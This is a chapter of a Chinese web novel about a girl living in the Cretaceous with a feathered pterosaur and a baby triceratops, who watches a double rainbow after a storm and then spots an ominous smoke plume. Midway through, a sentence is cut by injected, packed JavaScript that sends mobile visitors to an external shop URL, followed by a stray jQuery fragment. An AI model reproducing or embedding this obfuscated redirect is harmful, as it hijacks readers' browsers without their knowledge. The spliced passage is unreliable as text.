文趣网 > 都市小说 > 我的恐龙世界 > 26. 彩虹与远方
    暴雨是在凌晨五点左右停的。

    不是慢慢停的,而是像有人关上了水龙头——上一秒还在淅淅沥沥,下一秒就只剩屋檐滴水的声音了。林小禾坐在洞口,看着最后几滴雨水从蕨叶门帘上滑落,砸在岩石上,发出清脆的“嗒、嗒”声。

    天还是灰的,但灰得很浅,像被水洗过的画布。

    空气里全是湿漉漉的味道。泥土、蕨叶、树皮、还有她说不出来的植物根茎的味道,混在一起,像一杯白垩纪特调的草药茶。她深吸了一口,觉得肺里凉丝丝的,那种闷了一整夜的压抑感终于散了。

    “停了。”她轻声说。

    绒绒站在她旁边,羽毛已经干了大半,但还是有些凌乱,像一只刚洗完澡还没吹干的大白鸟。它歪头看了看天空,发出一声短促的咕噜——听起来像是“终于停了”。

    小角从她脚边探出头来,鼻子上沾着泥巴,眼睛圆溜溜的,看着洞外的世界。它的表情还是那副搞不清状况的憨样,但它的尾巴——如果三角龙有尾巴的话——在轻轻摇晃。

    “小角,雨停了。”林小禾摸了摸它的头,“不用害怕了。”

    小角发出一声“咩”,然后用头拱了拱她的手,意思是“我要出去看看”。

    “等一下,外面全是水坑,你出去会踩一脚泥——不对,你已经很脏了。”她看了看小角身上干了的泥巴块,“算了,你出去吧。”

    小角从洞里冲了出去,四条腿在湿滑的岩石上打了一个趔趄,差点摔倒,但它稳住身体,冲进了雨后湿漉漉的草地。它低下头,开始啃被雨水打得东倒西歪的蕨类植物,嚼得嘎吱嘎吱响,腮帮子鼓鼓的,嘴角又开始冒绿色的汁水。

    “你看它。”林小禾指着小角对绒绒说,“雨一停就开始吃。它是不是永远吃不饱?”

    绒绒歪头,喉咙里发出那种像笑的声音。

    ---

    林小禾站起来,走到洞口边缘,伸了一个大大的懒腰。

    她的身体嘎嘣嘎嘣响了好几声。在硬邦邦的床垫上坐了一整夜,腰酸背痛,脖子像被拧过一样。她扭了扭头,颈椎“咔”了一声,舒服多了。

    “好累啊。”她揉了揉眼睛,“但是不想睡。我想看看太阳。”

    天边的灰云裂开了一条缝。

    不是被风吹开的,而是像有一只无形的手,从里面把云层撕开了一道口子。金色的光从裂缝里倾泻下来,像一桶融化了的金子,浇在远处的森林上。那些被雨水打湿的树叶瞬间变成了千万颗绿色的宝石,亮得晃眼。

    “光来了。”她眯起眼睛。

    然后,她看到了彩虹。

    不是一道,是两道。

    一道在内侧,颜色浓烈得不像真的——赤橙黄绿青蓝紫,每一道色带都清清楚楚,像有人拿着彩色铅笔在天上画了一条弧线。另一道在外侧,颜色浅一些,顺序相反,像是第一道的影子。

    两道彩虹从地平线的这一端跨到那一端,像一座巨大的、通往某个地方的桥。

    “绒绒……”她的声音哽住了,“你看。”

    绒绒歪头,看着天空。它的眼睛里映出彩虹的颜色,黑曜石般的瞳孔里闪烁着七彩的光。

    小角也抬起头了。它嘴里还叼着半根蕨类嫩芽,不嚼了,就那么仰着头,看着天上的彩虹。绿色的汁液从嘴角流下来,滴在地上,它都没注意。

    “好漂亮啊。”林小禾轻声说,“我从来没看过这么清楚的彩虹。”

    她想起了小时候。

    大概七八岁的时候,夏天的傍晚,下了一场雷阵雨。雨停之后,天上也出现了彩虹。她坐在阳台上,用蜡笔画那道彩虹,画得歪歪扭扭的,林小北在旁边说“你画的不像,这是屎”,她气得拿蜡笔扔他,他躲开了,蜡笔在墙上画了一道红印子。妈妈回来问谁干的,林小北说“她”,她说“他先骂我的”,妈妈说“两个都不许吃饭”。

    后来爸爸偷偷给他们煮了泡面。

    三个人蹲在厨房地上,围着一个小锅,一人一口。林小北把碗里的荷包蛋夹给她,说“我不爱吃鸡蛋”,她说“你每次都说不爱吃”,他说“我真的不爱吃”,她就夹回去,他又夹回来。最后一人一半,分着吃了。

    “林小北。”她对着彩虹说,“你看到了吗?两道彩虹。”

    “你在那边看不看得到?”

    没有人回答。

    但她觉得,林小北如果也在看天空,也许能看到同一道彩虹。不是同一个时间,不是同一个地点,但太阳是同一个太阳,雨是同一场雨——

    不对。白垩纪的雨和现代的雨不是同一场。白垩纪的彩虹和现代的也不是同一道。

    她笑了笑,眼眶红了。

    “你好傻。”她对自己说,“彩虹又不是跨时空的。”

    绒绒用喙碰了碰她的脸,像是在问“你怎么了”。

    “没事。”她伸手摸了摸绒绒的头,“就是想家了。”

    绒绒歪头,然后发出一声温柔的咕噜。它把脑袋靠在她肩膀上,羽毛蹭着她的耳朵,痒痒的。

    “绒绒,你说,我回去之后,会不会想念这里?”她轻声问。

    绒绒歪头。

    “肯定会吧。这里的彩虹这么好看。以后再也看不到这么大的彩虹了。”

    她看着天边那道渐渐变淡的彩虹,吸了吸鼻子。

    “但是没关系。看过就够了。”

    ---

    彩虹慢慢消失了。

    天上的云散开了很多,露出大片大片的蓝天。被雨水洗净的天空蓝得不讲道理,像一块巨大的、纯色的丝绸,没有一丝杂质。

    阳光重新洒在大地上,把湿漉漉的草地晒出蒸汽,一缕一缕地从地面升起,像大地在呼吸。空气变得温暖起来,带着阳光晒过雨水的甜味。

    小角吃完了那片蕨类植物,又跑去吃另一片。它今天胃口特别好,可能是因为紧张了一整夜,消耗了太多能量。它在草地上一圈一圈地转,这里啃一口那里啃一口,像一个移动的割草机。

    “小角,你别吃太多,待会儿肚子疼。”林小禾朝它喊。

    小角抬起头看了她一眼,嘴里塞满了蕨叶,腮帮子鼓得像含了两颗鸡蛋,然后低下头继续吃。

    “你听不见是吧?”她叉着腰,“行,你吃。吃撑了我不管你。”

    绒绒从她旁边飞起来,落在洞口的石头上,开始整理羽毛。它用喙一根一根地理顺翅膀上的羽毛,从根部捋到尖端,动作优雅得像一个贵妇在梳头。雨水打湿过的羽毛有些打结,它费了好大的劲才梳开,每次梳开一根就歪头看看,像是在检查效果。

    林小禾看着绒绒梳羽毛的样子,忍不住笑了。

    “绒绒,你臭美。”

    绒绒歪头看她,然后继续梳。

    “行,你继续。你最美。”

    她转身回到洞里,开始收拾。

    一整夜的暴雨把洞里弄得乱七八糟。地上全是泥浆和水渍,柴火堆被水冲得散了架,好在她及时用石头围了一圈,大部分干柴保住了。她把湿了的柴火挑出来,摊在洞口外面的岩石上晾晒,又把干柴重新码整齐。

    鱼篓里的三条鱼还活着,但水变浑了,她端着鱼篓走到溪边——溪水涨了快一倍,原本只有小腿深的地方现在到了大腿,水流很急,卷着泥沙和断枝往下游冲。她在靠近岸边的浅水区换了清水,鱼在篓子里扑腾了几下,又开始游了。

    “你们也命大。”她对着鱼说,“没被冲走。”

    她把鱼篓重新吊在洞口内侧,确保安全。

    然后她走到洞口,看着远处的平原。

    草地被暴雨冲刷得干干净净,每一片叶子都挂着水珠,在阳光下闪闪发光。远处的森林绿得发黑,像一片墨绿色的海。天边散落的云朵在缓慢移动,影子在草地上滑行,像一艘艘无声的船。

    一切都很美。

    一切都像重生了。

    然后她看到了那缕烟雾。

    在林小禾把目光投向更远的天边时,她注意到了它。不是火烧过的黑烟,也不是炊烟的白色,而是一种浅灰色的、细细的、像一根竖起来的线。

    它出现在地平线的尽头,在森林和天空交界的地方。很细,细到不仔细看根本看不出来。但它确实是烟——因为她看着它慢慢变长,又从顶端散开,像一朵灰色的、扁平的蘑菇。

    “那是什么?”她皱起眉头,盯着那个方向。

    绒绒顺着她的视线看过去。它的身

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17680392|207662||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    体瞬间绷直了,羽毛微微炸开,脖子伸得长长的,一动不动。

    “绒绒,你看到了吗?”

    绒绒没有回答。但它发出了一种林小禾从没听过的声音——不是咕噜,不是笑,而是一种低沉的、震颤的、从胸腔深处挤出来的嗡鸣。像大提琴最低的那根弦被人拉了一下,余音在空气中久久不散。

    “你怎么了?”林小禾转头看绒绒。

    绒绒的眼睛还是盯着那缕烟雾。它的瞳孔缩得很小,黑曜石般的眼珠里映出远处那片灰色的痕迹。它的翅膀微微张开,不是要飞,而是一种——戒备的姿态。像动物在面对未知威胁时的本能反应。

    “那个烟……有什么问题吗?”林小禾又看回远处。

    烟雾还在。没有变大,也没有变小。就那么细细的一缕,竖在那里,像一根灰色的针扎在大地上。

    她突然想起了一个事情。

    前几天,她在捡柴火的时候,在树林里看到过一些枯死的植物。不是普通的枯萎,而是那种——像被火烧过、但又不是火烧的干枯。叶子卷曲发黑,茎秆脆得一碰就断。她当时没在意,以为是季节变化。

    还有,她前段时间去河边叉鱼的时候,发现水位比以前低了。不是一天两天低下去的,而是慢慢下降,她每天去都不觉得,但今天对比了一下记忆,确实低了不少。

    还有,动物们最近的行动不太对。鸭嘴龙群提前迁徙了,小角总是往树林里跑,绒绒比以前更警惕。

    “不会吧。”她摇了摇头,“想多了。可能就是山火。或者地热。”

    但她心里有一个声音在说:你不确定。

    她盯着那缕烟雾看了很久。

    它没有消失。

    “绒绒。”她说,“明天我们去看看那个烟是什么。”

    绒绒转过头看着她。它的眼神——如果翼龙有眼神的话——带着一种她说不清的情绪。不是害怕,不是拒绝,而是……凝重。

    “怎么了?你不想去?”

    绒绒把头转回去,继续看着那缕烟雾。

    “行吧,明天再说。”她拍了拍绒绒的背,“今天先休息。一夜没睡,我快困死了。”

    她转身回洞里,在床垫上坐下来。小角从草地那边跑回来,嘴里叼着一根蕨类嫩芽,看到她要睡了,赶紧在她脚边趴下来,把脑袋枕在她的脚上。

    “小角,你又压我。”她没有推开它。

    绒绒从洞口走回来,在她旁边趴下,把翅膀展开,盖在她和小角身上。

    “绒绒,你不站在洞口了?”

    绒绒歪头,发出一声短促的咕噜——像是在说“雨停了,不用站了”。

    “行,那我们一起睡。”

    她躺下来,枕着小角的肚子——小角的肚子软软的,暖洋洋的,像一个会呼吸的枕头。绒绒的翅膀盖在她身上,又暖又重,像一床厚棉被。

    她闭上眼睛。

    脑子里还是那缕烟雾。

    灰色的,细细的,竖在地平线上。

    她告诉自己不要想,但越想越睡不着。

    “绒绒。”她轻声说,“你说,那个烟是什么?”

    绒绒没有回答。它的呼吸很平稳,像是睡着了。但林小禾感觉到,它盖在她身上的翅膀微微收紧了一点——像是在把她往自己怀里拢。

    “你是不是也觉得不对劲?”

    绒绒的喉咙里发出一声极轻的咕噜。不是温柔的,是那种——带着防备的。

    “好吧,不想了。反正明天去看看就知道了。”

    她翻了个身,把脸埋在绒绒的羽毛里。

    “晚安,林小北。”

    “晚安,绒绒。”

    “晚安,小角。”

    小角在睡梦中打了个嗝。

    绒绒用喙轻轻碰了碰她的额头。

    她闭上眼睛。

    白垩纪,第二十六天。

    暴雨停了。天晴了。两道彩虹跨在天上。

    很漂亮。漂亮得她想哭。

    但地平线尽头,有一缕细细的烟雾。

    绒绒看到它的时候,身体绷得很紧。

    她不知道那是什么。

    但她隐隐觉得,有什么事情要发生了。